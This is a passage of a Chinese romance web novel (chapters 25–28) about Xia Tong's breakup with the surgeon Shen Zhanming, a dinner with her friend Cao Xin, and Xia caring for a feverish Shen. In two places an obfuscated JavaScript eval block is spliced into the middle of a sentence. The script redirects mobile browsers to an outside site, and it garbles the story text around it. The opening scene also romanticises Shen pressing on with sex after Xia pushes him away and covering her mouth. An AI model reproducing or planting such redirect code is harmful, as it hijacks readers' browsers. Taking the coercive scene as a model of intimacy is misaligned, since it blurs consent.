沈湛明早就习惯了昼夜颠倒,不像夏曈作息规律。为了不打扰她夜晚安睡,他每次晚归都尽量放轻动作,甚至有几次是睡在客卧,清晨再开车返回医院,继续高强度工作。 夏曈不知他的身体如何撑住这种高负荷运转,也许高精力人群就是这样。她气血两虚,连平时与他的情事都有点应付不来,更无从羡慕他对于工作的投入。 她也不想羡慕。 这晚,夏曈躺在被窝里半梦半醒,察觉到沈湛明自后拥住她,手臂搭在她的腰间,胸膛紧贴着她的薄背。 她不想再和沈湛明这么亲密,于是装作被吵醒的不耐烦样子,将他手臂推开。 可身后的人气息微乱,似乎不打算放过她。 那只手被推开后,径直探入她的睡裙。夏曈彻底清醒,刚要说话,灼热的掌心覆住她的下半张脸,沈湛明凑过来吻她耳后,沙哑的声音里混着欲望,“曈曈。” 夏曈虽肢体修长,在女生里也称得上挺拔高挑,但她力气有限,在身材精悍的沈湛明面前更是不够看,很快便被压覆住,逃也逃不掉。 沈湛明偏好传统的姿势,但今晚夏曈不想面对他,于是主动翻身,脸埋在枕头里。 沈湛明吻咬着她的后颈,气息不稳,声音里仿佛含着恨,“怎么不叫我哥哥?” 夏曈咬着下唇不肯出声。 身后人等了片刻,没等到那声哥哥,又低低笑了声,“叫别的也行,嗯?” 可是直到结束,夏曈都没说一个字。 第二天上午,沈湛明照常早起。 夏曈没能休息好,头痛欲裂,不仅如此,身上某些部位也酸痛。因此当她看到沈湛明早起还能一脸神清气爽时,更是气得难受。 沈湛明今天似乎有个比较重要的会议,因此穿了深灰衬衫与西裤,打了领结。他走到卧室,手掌探入温暖的被子里,揉了揉夏曈的腰腿,“痛吗?” 当然痛。她昨晚被翻来覆去折腾了几个小时? 沈湛明太过可恶,这段时间老实睡在客卧碰也不碰她,床头抽屉的套几乎没用过。可昨晚他忽然索求,动作急切又强势,事态莫名就失了控。 夏曈眼睛没睁开就要抱怨:“我真讨厌你,沈湛明,你能不能别烦我了?” “不能。” 沈湛明否决她的提议,但温热的掌心仍贴在她的腰,富有技巧的按揉。 夏曈一时被伺候得舒服,被吻肿的唇动了动,懒得再骂他。 可当沈湛明的视线落在她的唇,仍忍不住俯身吻过来。 夏曈吃痛皱眉,再睁眼时,眸子里一派清醒。 她气喘吁吁,对上沈湛明满是温柔的目光,淡声道:“我说了要和你分手。” 她在过去的几天里反复提及分手,沈湛明从最初的气急攻心,到此刻的仅仅皱眉,可谓是对此二字逐渐免疫。 “等年后再说。”他凑在夏曈耳边,“天气预报说今晚有小雪,曈曈,我晚上早点回来,咱们去青岩桥看烟花,嗯?” 夏曈用被子蒙住脸,“我说的话你从来不放在心上,你一直觉得我在开玩笑,是不是?沈湛明,我要分手,你等着吧。今天晚上你绝对见不到我。” 沈湛明终于蹙眉,“你要去哪?” 夏曈拂开他的手,转身背对他,闷声道:“你不要管。” 沈湛明还要再问,手机忽然响起。 他接通听了两句,神色逐渐凝重,应了几声,旋即挂掉,对夏曈说:“曈曈,我现在要赶去医院做一台手术。你在家乖乖的,等我回来,知道吗?” 夏曈缩在被子里,在他接电话的时刻,视线始终停留在他轮廓分明的侧脸。 她静静看了沈湛明两秒,扭过脸,轻声:“你去吧。” 沈湛明在她额头亲了下,掌心揉她柔亮的发,“乖。” 他匆忙之际,并未注意到,她根本没答应他的话。 沈湛明去了医院。 这场手术持续六个小时,结果很成功。 他换下手术服,经过走廊时发现窗外飘着小雪,天地都朦胧。回到办公室,同事正在刷社交平台,说起今晚青岩桥的烟花秀,看效果预告很浪漫呢,哎,记得沈医生是不是说过要带女朋友去看? 沈湛明勾唇说是。 也许是精神高度集中后的亢奋余韵,也许是对今晚的期待,他眼里含笑,在周围同事的善意调侃声中,给他的乖乖发去了信息。 曈曈,拉开窗帘,外面在下雪。 点击发送的瞬间,鲜红的感叹号跳出。 夏曈拉黑了沈湛明。 这场维持了六年的恋爱,没有如沈湛明所愿,坚持到春天到来。 而在这一年的初雪天,以夏曈的单方面断联,彻底宣告结束。 26. 第 26 章 周五晚,曹欣回葳市时路过S市,和夏曈约饭。 两人约在一家川菜馆,随服务生的指引登上二楼。 曹欣毕业后在南方某个城市工作,那里甜口居多,却不爱吃辣。为了保持最佳状态,随时投入工作,她平时也甚少碰重口的食物。 此刻途径S市,曹欣下了飞机就开始寻找餐馆,扬言要敞开了吃。有她豪言壮语在前,本就嗜辣的夏曈自然乐得奉陪。 两人要了个牛油火锅,菜单上的主菜配菜也点了一大堆。为了解腻,夏曈已经在楼下奶茶店买好桑葚冰茶,冰块碰撞杯壁的清脆声淹没在热闹的气氛中。 一顿饭的功夫,叙旧加玩笑,最后,夏曈还是耐不住曹欣的追问,提到了当时和沈湛明分手的原因。 她边说边回忆,语速很慢,但语气轻松,仿佛那段恋爱对她而言,只是一段无关痛痒的人生经历,她此刻提起,甚至可以做到云淡风轻。 然而,曹欣不知何时已经放下筷子,细眉微蹙,静静地望着她。 餐馆的顶灯光芒倾洒,曹欣的眼珠湿润,说不清是辣的,还是别的。 夏曈耸肩,“所以,就这样。” 曹欣的确很在乎她和沈湛明的事儿,但此刻,她的注意力已经全然放在夏曈的那段抑郁经历上,良久叹息道:“曈,你怎么一个字都不跟我们讲啊?” 她们闺蜜群的成员基本都关注了夏曈的社媒账号,但那时大家都刚刚毕业,被社会捶打得奄奄一息。如果夏曈不主动说,彼此远隔千里的距离,根本难以察觉小姐妹的异常。 夏曈嚼着一块虾滑,没作声。 曹欣握住她搁在桌面的手:“过年那时候你还乐得没心没肺的,跟以往没什么两样。” “啊,那不正说明了,我的演技很好吗?”夏曈笑道,“嘿,看来我还有做演员的潜质。” 曹欣听罢,仅淡淡勾唇,眼里却没有笑意,“敢情都是在演给我们看呀?曈,你在我们面前有什么必要演戏呢?” “不知道,大概觉得丢脸?” 夏曈挑眉,“我那段时间谁都不想接触,也不想和任何人敞开内心。不想被人看出来我在难过,因为一旦被人看出来,我就要接受他们的关心,而这个关心的过程,也让我被迫卷入痛苦的情绪里,把那些事再回忆一遍。” 如今她已经跳出那种迷茫、痛苦的情绪,会觉得当时的自己太过封闭内心。 可处在当时的情况下,她也不会有更好的处理方式。 那已经是她能给出的,最好的答卷了。 人当然是在慢慢进步的,心境也会逐渐成熟。但夏曈永远不会以当下的心态,去指责曾经那个弱小、脆弱的自己。 就像她知道自己的幼稚、逃避心态。 她什么都懂,可改变的过程太艰难。父母、家人为她构筑了一座坚实的避风港,她被保护得太好,因此当风雨降临,她便被击垮,刮掉身上一层皮,才只成长了一点点。 曹欣叹道:“怪不得,那段时间湛明哥经常发消息问你的近况。他还找了很多好吃好玩的,音乐节啊、新款首饰啊什么的,让我转发给你。对了,你还记得去年你生日,我不是送了你好多礼物吗?” 夏曈点点头。 当时曹欣破天荒地给她买了好多生日礼物,快递小哥送来时,夏曈都惊呆了,堆在门口好高一摞,跟进货似的。 她颈间戴的这条白贝母扇形项链,就是其中之一,另外那条红玉髓在她首饰盒里没戴。当时夏曈还打趣说,出手这么阔绰,曹大欣是升职了吗? 曹欣托腮道:“其实呢,只有那个扫地机器人是我买的。” 夏曈一怔,噗嗤笑了出来。 曹欣也笑道:“怎么了呀,夏曈,你会扫地吗?你根本不会的好吧!我这才是真正的实用性礼物。哎呀,小时候觉得漂亮衣服和首饰不可缺少,成为社畜后才能明白,让科技解放双手、换取更多休息时间才是最重要的。” 她伸指点了点夏曈锁骨处的白贝母,笑道:“这种漂亮的小东西呢,是用来点缀生活的,而我还处在疲于奔命的社畜阶段,所以,即便是送礼物,我贫瘠的精神世界里也想不到它。” 夏曈对此表示认同。 人在每个阶段的追求都不同。相比于脸蛋是否漂亮、配饰是否精致,现在的曹欣更在乎她的职位能否晋升、薪资何时翻倍。 曹欣感叹道:“只有湛明哥那种没有经济压力、还把你捧在手心里的人,才会想到这些。” 夏曈低头,用吸管搅弄着喝到一半的桑葚冰茶,“你怎么不早告诉我呀。” “我以前问过他,怎么不自己送呢。他只说你们在冷战,让我替他保密。” 曹欣耸肩。 夏曈听到这话,动作顿了一下。 她以为自己和沈湛明之间是断崖式分手,在她拉黑沈湛明、不告而别之后,再无联系。 可实际上,在她不知道的地方,沈湛明仍无声无息地在乎着她。 饭后,两人沿着萧索的梧桐道散步消食。 曹欣讲起这半年在职场上经历的挫折和获得的成就,讲到离谱的地方仍忍不住爆了粗口。 夏曈则是感到匪夷所思。 她以为自己见过的恶已经够多了,但事实是心境扭曲的人不在少数。 任何环境里都充斥着竞争,有竞争的地方就会有见不得人的勾当。越是蔑视规则的人,越可能在这种环境里如鱼得水。 她们在小时候受到各种真善美的教育,课本、课外读物、公益广告,所有的外界信息都在告诉他们,这个世界是一个充满美好与希望的地方。 但只有长大了亲身体会,才能发现,他们好像只看到了美好的一面。 在真实的世界里,想要过上理想的生活,必须亲手扼杀自己身体里的某些部分。 而职场环境就好像一个不透气的麻袋,将人圈在内中,不停挤压。人一旦中了陷阱,将自己的世界限制在这个圈内,视野就会受限,心胸也会被迫变得狭窄。一切的手段、心力、智慧,都会浪费在某些毫无意义的事情上,并为此无休无止地反复内耗。 只有跳脱出这个环境的那一刻,才能幡然醒悟,自己当初遇到的烦恼是多么微不足道,当初的愤怒、不公与悲伤是多么无聊可笑。 他们在办公室里斗得有来有往,精力、时间皆失,殊不知头顶的人在含笑欣赏。 又一批被困住的劳动力,将原本用来成长的精力和时间全部耗费在无意义加班和扯皮上,跳槽、掀桌的风险由此而降至无限低。 这个架构因此变得稳固。 都是这种手段。曹欣和夏曈都是经历过职场的人,明白这种套路,但至今还无力改变。 两人许久未见,曹欣当然不会住酒店,而是去了夏曈的家。 “湛明哥也住这儿?” 进门之前,曹欣看了眼对面,“他在家吗?我去跟他打个招呼吧。” 夏曈按指纹:“不在。他今晚值班。” “哦吼,这么清楚呀。” “他下午给我发消息,让我帮忙喂汤圆来着。”夏曈无奈,“你想什么呢,曹大欣?我俩没复合。” 曹欣嘿嘿一笑,换好鞋子,逮住胶布狂亲。 夜晚,两个女孩子躺在同一张床上,低声说些悄悄话。 曹欣侧躺着,面对夏曈,轻声道:“曈啊,虽然我们都真心觉得你和湛明哥挺合适的,但我也不会因为这个,就劝你跟湛明哥和好。” 夏曈轻“嗯”了声。 “还记得你刚宣布和那个谢桁恋爱时,我在群里怎么说的吗?” 夏曈回忆道:“说我俩虽然不是同龄人,但肯定有很多共同话题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469389|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他能带给我很多简单而纯粹的快乐。” 曹欣道:“是。因为人在每个阶段所需要的爱是不同的。在当时那个阶段,你需要一种直白纯粹的、能让你短暂逃离现实的爱,而谢桁恰好能给。” 她继续说:“我当时还不知道你经历过什么,可是根据湛明哥的一些行为来看,你们之间一定出现了问题。你呀,你会耍性子拒绝沟通,而他出于某些原因,也许是工作、也许是性格使然,也暂时无力弥补。所以你们的结果只有分开。” 夏曈的脸颊埋在枕头里,闷声笑:“这么了解吗?” 曹欣叹息:“谁让你们的相处模式就是这样。” 夏曈好奇:“什么样?” 曹欣沉默思索,什么样呢? 当初那群孩子们从小一起长大,彼此熟稔,有时一个眼神就能明白对方心里在想什么。 虽说沈湛明不和他们一块玩,但他毕竟是院里的模范小孩,低头不见抬头见。曹欣仰望他,并且曾以为他永远冷静克制,绝不会有恋爱时的腻歪与躁动,但这一想法,在她亲眼目睹过他和夏曈在树下接吻之后彻底改变。 曹欣是个很有洞察力的人,之后便开始注意他们之间相处的细节。她看得出,沈湛明虽惯于将想法内敛于心,但面对夏曈,他的表现,始终有着细微的不一样。 这些细微的眼神、表情与动作,就是沈湛明仅对夏曈显露出的破绽。 曹欣当时还在心里狂笑:原来湛明哥也有喜欢一个人,就克制不住自己的时候啊。 黑暗里,曹欣的声音轻得像呢喃:“我觉得,如果湛明哥这辈子注定要和某个人在一起,这个人只能是你。换做别的任何人,他都不会接受。” 她又笑:“但就算你们不在一起,湛明哥也好像是你的家人,不管你走了多远,回过头,他都会在那里等着,稳稳接住你。” 夏曈默然,原来在别人眼中,她和沈湛明,是这样的关系。 “所以呀,我说这些,是要你自己好好想一想。” 曹欣的声音里染了倦意,“你的心到底是偏向沈湛明更多呢,还是偏向谢桁更多呢?” 说完这句话,她的气息逐渐均匀,陷入睡眠。 夏曈眨眨眼。 她的心偏向谁更多呢? 她在与沈湛明分手后,度过了很长一段时间的低沉期。 夏曈出生的第一天,沈湛明就在医院里见过了她。从此以后,她人生的25年里,每一年都有沈湛明的参与。 沈湛明在她的生命里留下了太多痕迹,他们像是紧密缠绕着生长的两根藤,因为习惯了在一起的快乐,就以为彼此没那么需要对方,就算分开也无妨。 可夏曈感到痛苦。 夏曈混淆了她对沈湛明的情感。她以为自己没那么喜欢沈湛明,以为这种喘不过气的感觉只是分手时的正常反应。 她答应了谢桁的追求,她觉得谢桁可以让她短暂忘却这种痛苦。 谢桁的确做到了。 他是个很热烈、纯粹的人,他让夏曈抛却以往,全身心地投入到与他的恋爱当中。 夏曈以为,她爱谢桁、与爱沈湛明一样多。 可她如今与谢桁提出分手,心里并没有很难过的感觉。 反倒是替谢桁的璀璨前途感到开心。 她不知道该如何形容这种心情。 难道她的爱已经到了如此无私的程度吗? 与之相反的是,在与沈湛明重逢后,夏曈埋在心底的对于他的讨厌,缓慢地、难以控制地漫出来。 这份讨厌,甚至压过了对于谢桁的喜欢,在夏曈安静独处时,更多地占据她的心神。 她真讨厌沈湛明。 可夏曈必须承认,即便她说一万次讨厌,她也还是在想他。 她说讨厌,也许只是对分手感到不甘。 27. 第 27 章 第二天上午八点,曹欣叫好顺风车,拉着行李箱出门。 夏曈出门送她,途中两人拉着手,像小时候一样,约定过年时要做什么样的美甲,去哪里玩。 到了小区门口,曹欣叫的车子停在路边,司机帮她放行李。 曹欣搂着夏曈的胳膊,笑着眨眨眼:“曈曈,咱们过年见啊。” 夏曈眼珠晶亮,趁司机在放置行李,特别肉麻地在她脸上亲了一口。曹欣大叫:“啊!耍流氓你!” 夏曈严肃脸:“怎么,不喜欢?” “夏曈曈不准学霸总语录,”曹欣快吐了,“再学你那面相都该变了!” 俩人笑得乐不可支。曹欣上了车,跟她摆手:“拜拜咯,过年见~” 夏曈扬起手拜拜,雪白的毛绒手套举起在半空,像只熊爪。 送走曹欣,夏曈慢悠悠往回走。 这天是个周六,清晨的小区很安静,除了习惯晨练的长辈和出门买早饭的,基本没见几个人。 小区门口就有早餐店,香味很勾人。但夏曈没什么胃口,想着家里还有欧包,搭配牛奶随便对付几口得了。 走到半路,迎面而来一个年轻人,哈欠连天,手里牵着那条金毛倒是精神奕奕。 夏曈想起什么,掏出手机给沈湛明发消息。 【昨天晚上我给汤圆做了饭哦,胡萝卜和牛肉粒,但它好像没什么胃口。后来又开了个罐头,它才勉强吃了些,你今天有时间的话,看看它是不是生病了呀?】 她刚点击发送,身后不远处就传来很轻微的一声提示音。 夏曈没注意,迟疑的瞬间,一个语音电话已经打了过来。 是沈湛明。 “……沈湛明,” 她昨晚带着心事入睡,满脑子都是他,此刻乍然接到他的电话,声音竟有些不自然,“有事吗?” 电话那端很静,带着略重的呼吸声。 夏曈莫名觉得脸热。 “曈曈,”沈湛明的声音有几分失真,显得更加低沉磁性,“你回头。” 夏曈转身,望见身后的一棵行道树下,沈湛明缓步朝她走来。 朝阳初升,灿金色的光芒斜洒大地,晨雾却还没有完全散去。沈湛明穿着深灰外套和黑色西裤,脸上是白色口罩,逆光时,周身散发出一种冷峻而深沉的气质。 夏曈怔然望着他,恍惚想起他穿白大褂的样子,清正冷静,金属般冰冷的质感。 却让人很有破坏的想法。 直到沈湛明走近,她才放下手机。 光线明亮,夏曈注意到他眉眼处不同寻常的疲倦,不由多看了一眼。 心想,夜班还真是折磨人啊,连沈湛明这种精力怪都觉得累。 两人并肩往回走,沈湛明淡声回答她的问题:“我昨天下午临走前,给汤圆做过一点辅食,它可能是不太饿。不用太担心。” “哦,那就好,” 夏曈听到他的声音微哑,沉默一瞬,提议道:“要不今天把汤圆放在我那,反正我今天没什么事,你就在家好好休息吧。” 汤圆虽然聪明懂事,不会让主人太耗费心力,但也要出去放电的。 沈湛明上了一晚上的班,再让他去下楼遛狗,似乎不太合适。 说话间,两人已经进了电梯,沈湛明按下楼层,“好。” 安静的空间内,没人再说话。唯有沈湛明略显沉重的呼吸声。 直到出了电梯,进了沈湛明的家,沈湛明摘下口罩,夏曈才抬眸看他一眼。 沈湛明的脸颊已经红得不正常。 夏曈微微惊讶:“沈湛明,你发烧了。” 沈湛明“嗯”了声,脱掉外套,坐到沙发上,那双冷峻眼瞳里含着湿润水色,神情却像在抱怨:你才注意到吗? 夏曈很少见到他生病,他的身体似乎钢铁铸就,不仅触感坚硬,也从不存在不舒服的时候。此刻他摘掉口罩,轻蹙的眉眼依然深浓如墨,冷白皮肤上却蒸出红色,夏曈以往只在一种特定情况下见到他这副模样,而那时她的脸颊会比他更红。 她本能地感到慌乱,仿佛沈湛明患了很严重的病,走过去追问:“那你吃药了吗?” “昨晚吃过,”沈湛明淡声回忆,“5小时之前。” 那也是凌晨三点了。 汤圆围过来和夏曈贴贴,又去看沈湛明。沈湛明抿唇,又说:“当时测量的体温是38度,现在不知有多少。” 夏曈会意,去医药箱里翻出温度计递给他,然后很自然地坐在他旁边。 在等待的过程里,汤圆虽趴在夏曈膝盖,湿漉漉的眼珠却一直看向沈湛明,狗爪时不时触碰他的小腿。 小动物很有灵性,似乎察觉到主人的不适,感同身受地难过着。 夏曈不习惯太过安静的氛围,没话找话地问:“你吃早饭了吗?” “没有。”沈湛明的目光一瞬不转看着她。 他的眼珠湿润,不知因为发烧还是别的,有种黏人又可怜的意味。 夏曈受不了他这样,忙撇开目光,作势起身:“你想吃什么,我去外面给你买点……” 手腕被沈湛明蓦地攥住,他的掌心灼热,夏曈被烫得一激灵,睁大眼看他。 沈湛明轻微用力,将她拽回沙发上坐着,“不用,你在这待着。” 他将温度计拿出来,看也不看,递给夏曈。 好歹是位医生,连自己的体温都要交给她看吗? 饶是夏曈如此腹诽,仍接过来。 她吓了一跳,“39度2!” 难怪他今晚从小区正门进来,想必是烧得失去冷静,只能打车回家。 夏曈催促他去休息,沈湛明从医药箱里挑了盒药,掰开两粒,就要兑水吞进去,被夏曈拦住,“空腹吃药不好,你等一下。” 她返家把欧包和甜牛奶拿来,沈湛明一看就知道这是她的早饭,她就爱吃这种甜了吧唧的东西,扭过脸去,“没胃口。” 夏曈歪头,“那你想吃什么?” 沈湛明一指冰箱,“里面有虾饺,热一下就好。” 这么简单,夏曈还是应付得来的,她让沈湛明去卧室先睡一会儿,等热好了叫他。 可当她在厨房忙活片刻,准备将虾饺下锅时,却发现沈湛明走了进来。 “你不睡吗?”夏曈问,“还得一会儿。” 沈湛明站在她旁边,没说话,在她将要把保鲜盒扣上时,又往水里添了几个虾饺。 夏曈本来想问他吃得下这么多吗?可转念一想,他的食量似乎一直不小,否则也不会长得这么高大健壮,身上也硬邦邦的。 沈湛明把剩下的虾饺放回冰箱,却没走,沉默地站在夏曈身边。 夏曈不知道他想干什么。此时两人挨得很近,也许沈湛明烧得发昏,忘记他们已经分手,也忘记和她保持应有的社交距离,他身体的热度传递过来,夏曈觉得热。 她不动声色地挪动身体,想离他远一点。 沈湛明忽然开口:“曈曈。” 夏曈顿住,抬头看他。 他声音很低,微微沙哑,“你也给他做过早饭吗?” “他”指的是谁,不言而喻。 夏曈长睫微垂,“没有。” 她和谢桁算不上真正意义的同居。倒是谢桁经常来她这里,在她的冰箱里塞满食物。 她不怎么会做饭,又嫌麻烦,以前沈湛明经常在医院加班,她还沉浸在恋爱的甜蜜中,可以为他准备羹汤和水果,分手后她更是一点耐心都没有了。 至于谢桁……她从没想过给谢桁做东西吃。可以说她没耐心,也可以说她没那么喜欢他,所以想不到要用食物投喂。 沈湛明定定看她两秒,像是能从她脸上表情察觉出什么。 夏曈眨眼,似乎在他眼中看到了笑意。 这时她眼前忽地一暗,沈湛明蓦地俯身,以一个无限接近于拥抱的姿势,侧脸和她相贴。 瞬间的迟疑,夏曈来不及躲避,已经嗅他身上的气息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469390|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是令人安心的消毒水味,也有轻微的木质香。沈湛明不用任何香水,这点香味,只能来自于他常用的那款洗衣液。 此刻沈湛明距离她如此近,她抬起手,想要推开他,或者朝他脸上挠一下,却被轻易识破意图,手腕被他攥在掌心。 她挣脱不得,沈湛明灼热的吐息倾洒在她耳后,“真乖。” 他的指腹按在她紊乱的手腕脉搏,轻轻摩挲。 这种微妙的暧昧,这种夸奖的语气,以往只发生在床上。 夏曈愣住,脸腾地热了。 她像一只做好战斗准备的坏猫,爪子已经亮了出来,对方却亲了一下她的脑袋,夸她真乖。 沈湛明松开她的手腕,掌心抚在她的脸颊,仿佛按捺不住,很轻地揉了下,旋即转身离开。 夏曈后知后觉地想问沈湛明是什么意思,又觉得此时自己脸红心跳的样子实在没什么气势,恨恨地闭了嘴。 她将煮熟的虾饺端出去的瞬间,沈湛明就将目光放在她身上。 夏曈将虾饺搁在桌面,尽力忽视他此时稍显炙热的眼神,“吃吧,你的超大份。” 沈湛明注视着她,“你要走吗?” 夏曈站在沙发边,瞧他的样子,眼珠湿润着,眼神不甚清明,望过来的目光甚至含着隐隐的不舍。 夏曈不想将视线落在他身上,他不应该是这样的。他永远冷静理智,不应该像现在这样,深浓的眉轻蹙着,黑色高领毛衣勾勒出他宽阔的肩背,胸膛轻微起伏,手臂肌肉的线条也隐隐可见。 很脆弱,也很涩情。 狐狸精,夏曈的脑海里出现这个词。 他以前勾着她做那种事时,也惯用这招。 “好吧,等你吃完我再走。” 夏曈在他身边坐下,很没出息地再次中招。 沈湛明凝视着她,“这些都是我包的。” 夏曈抬起眼,“噢。” 沈湛明没动筷子,起身去厨房又拿来一只碗,拨给她6只虾饺,低声道:“早晨没胃口可以少吃点,但不能饿着。” “我有欧包。” “你需要补充的是蛋白质。”沈湛明看她,“你比以前更瘦了,这样不健康。” 夏曈低头看自己的穿搭,珊瑚绒的外套,衬得她像只熊,不由道:“你从哪儿看出来?” 沈湛明没说话,视线落在她清瘦的手腕。夏曈反应过来,想起刚才他的指腹在她手腕抚摸许久,还试图往她衣袖里钻了半寸。 心中暗忖,他对她真是了如指掌,人的手腕处本就没多少肉,他竟还能凭借这点皮肉摸出她瘦了。 “那好吧,”夏曈接过筷子,还不忘为自己找补,“其实我很注重饮食规律,只是昨晚吃得太多,导致到现在都没什么胃口。” 沈湛明知道她昨晚和曹欣聚餐,他拜托她照顾汤圆时,恰好见到她的妆化到一半,愣了一瞬后,才出声询问她是否要出门。 “吃的什么?” “火锅。”夏曈嚼着虾饺,觉得沈湛明的厨艺似乎又进步了,“不要又唠叨我呀,我和曹大欣好久没见面了,除了她,谁会陪我吃爆辣火锅?” 沈湛明话到嘴边,又咽下去。他并非不能陪她吃辣,只是工作要紧,为了保持最佳状态,他向来饮食清淡且健康。 他食欲不重,进食仅为果腹,没有对美食佳肴的执念,多年精进厨艺,也不过是因为夏曈喜欢吃。 但人都有欲望,沈湛明在这方面寡欲,便在别的方面索求偏多。 夏曈以前控诉过他要的太多。但沈湛明没告诉她,那已经是他念及她年纪小、体力差,而有意控制的结果。 这顿饭吃得很安静。 沈湛明一向寡言,夏曈则是不知该说什么。 早饭结束后,夏曈收拾碗筷,并催沈湛明赶紧去洗漱,然后休息。 当她从厨房出来,沈湛明也洗漱好,静静站在卧室门口,看着她。 夏曈无奈了,心想:怎么这么黏人,非要看着她吗? 28. 第 28 章 发烧的人无法洗澡,也没什么力气。沈湛明仅是刷牙洗脸,连下巴冒出的胡茬都没弄,站在阴影处,看起来有种疲倦又颓丧的阴郁感。 夏曈走过去,直接推他去卧室休息。 沈湛明没动,就这么垂着眼睫,静静看着夏曈。 直到她牵住他的手腕,柔软的手心贴在他的腕骨,他才迈开步伐,跟她一起回去卧室。 沈湛明虽说高烧,但思路仍清晰,这么会儿功夫已经自己换好居家服,只领口的扣子“无意中”错了位置,露出清晰的锁骨和光洁胸膛。 他躺在床榻,看夏曈给他盖上被子。 同时,等待她何时会发现。 可夏曈粗心至此,肯照顾人就不错了,哪里会注意这些细节。她把被子往他身上一盖,拉上窗帘,还对自己的体贴颇为满意,劝他快睡。 沈湛明在心里叹了一口气。 他唤住将要离开的夏曈,“曈曈。” 夏曈动作顿住,“嗯?” 沈湛明薄唇微动,说了一句话。 但他声音太小,也许是困了,也许是虚弱,总之夏曈没听清。 她只能走到床边,俯身问他:“你想要什么?” 她的外套脱在客厅,里面是一件贴身的薄毛衣,勾勒出纤细柔和的线条。 沈湛明看着她。 暖黄灯芒下,她俯身的姿势使得一缕发丝拂在他的手背上,微凉柔软的触感。她的周身有一种淡淡的玫瑰香味弥漫,是让他很眷恋的味道。 沈湛明知道,这是她喜欢的某款身体乳的味道,他甚至记得它的包装瓶是什么样子。 他曾经在超市的货架上见过这款,下意识就放到了购物车里。直到结账时才意识到他们已经分手了,他买回家,也没有人会用。 此刻,她近在咫尺。 沈湛明的手指微动,那发丝在他指腹缠绕,如一道极细的枷锁。 他的声音也极轻:“那个退烧药,需要两个小时后再吃一次。” 夏曈没注意他的动作,眨眼道,“你是想让我提醒你吗?可以,两小时后我来叫你。” 她知道他家门锁的密码,可以随时出入。 倒不是因为关系更进了一步。她有时也想和汤圆玩,但沈湛明总是忙,无法随时为她开门,便直接将密码告诉了她。 至于为什么不录入指纹,沈湛明起初是想这么做的,但夏曈拒绝了。 理由是,她不想随意进出前男友的家。 沈湛明听见这话,一个字也没说。 当时他们在楼下遛狗,光线昏暗,沈湛明走在树影浓深的那一侧,也没有让她看到他的表情。 此时,床头亮着一盏小灯,光线微弱,足以让他们看清彼此的眼睛。 夏曈的眼眸很清澈,仿若毫无杂念。 衬得沈湛明此时心中所想,愈发卑鄙不堪。 沈湛明与她对视,目光平静:“我睡眠没那么轻,你就算在我旁边追剧,我也不会醒。” 夏曈愣了瞬,心想她为什么要在他旁边追剧? 然后才反应过来,沈湛明是想她留下来陪他。 “……我在你旁边追剧?” 夏曈的视线落在这张宽大的双人床,沈湛明轻阖着眼,嗯了声。 双人床,连床单和枕套都是她以前喜欢的颜色,与卧室简洁平淡的色调格格不入。 那柔和的浅绿、碎花,像是在枯木萧索的黑山白水里,混入一抹春天。 夏曈眨眨眼,清了清嗓子,又忍不住脸红。 这个沈湛明,怎么比以前更会勾引人了? 夏曈喜欢看男人脆弱的那一面。以前谢桁经常对她撒娇,她起初很受用,但最后都免疫了,嘴上哄着,其实心里没有半点波澜。 可不知怎的,当沈湛明使起同样的手段,夏曈特别吃这套。 她想,她喜欢的其实是反差,一个平时看起来矜漠冷静、成熟稳重的人,流露出脆弱的、渴望陪伴的一面。 这一面,仅对她可见。 沈湛明难受得蹙眉,低声催促:“曈曈。” 夏曈想了想,也觉得来回跑有点麻烦,万一这病号有点别的情况怎么办? 虽说他自己就是医生,可医生也有生病无力的时候。 “好吧好吧,那我回去拿点东西,你先睡。” 夏曈起身,想了想,把他的手塞到被子里。然后在他的视线注视中离开卧室,离开他的家。 沈湛明阖上眼,气息放缓,静静听着外面的动静。 没有关门的声音,她一定会回来。 汤圆黏她黏得厉害,在她刚离开时就飞奔着追过去了。此时客厅里落针可闻,沈湛明因此能听到自己胸腔里的心跳声,彻夜的工作加上发烧,让他此刻极度疲倦,却仍撑着一点精神,要等她过来。 他什么都看不到,但忍不住猜她到了哪里,在找什么。 不知等了多久,夏曈和汤圆的脚步声一齐传入耳中,旋即是关门的声响。 天地蓦地安静,一颗心逐渐回落到胸膛。 沈湛明眼睫微颤,强撑着睁开眼睛,就见她走进卧室,眼里都是疑惑,“你怎么还不睡?” 沈湛明没做声,身体往旁边挪了挪,为她让出位置。 夏曈察觉到他的意图,脸蹭地红了,“你、你不会还想让我在这里陪你吧!” “你在客厅,可能会听不到我的声音,”沈湛明蹙着眉,很难受的样子,“这里也没有别的地方给你坐。” 夏曈快速扫视一眼,卧室里摆设干净,连张椅子都没有。 沈湛明生着病,如果半途叫她,她在客厅也是真的听不到。 她思索一瞬,走过去在床边坐下,倚靠在床头。 这张床不小,两人之间也隔着相当的距离。但沈湛明的眉头舒展开,阖上眼,逐渐入眠。 夏曈转头看他,并不明亮的光芒投射在他线条冷峻的脸庞,他皮肤光洁如雪,鼻梁直挺,即便在这样贫瘠的光线里,也是挑不出错的一张脸。 沈湛明遗传苑菲菲的骨相,自小就唇红齿白、清隽出众。虽说时光是把杀猪刀,但繁重的课业、工作并没有摧毁他的冷隽与清正,反而为他增添成熟的韵味。 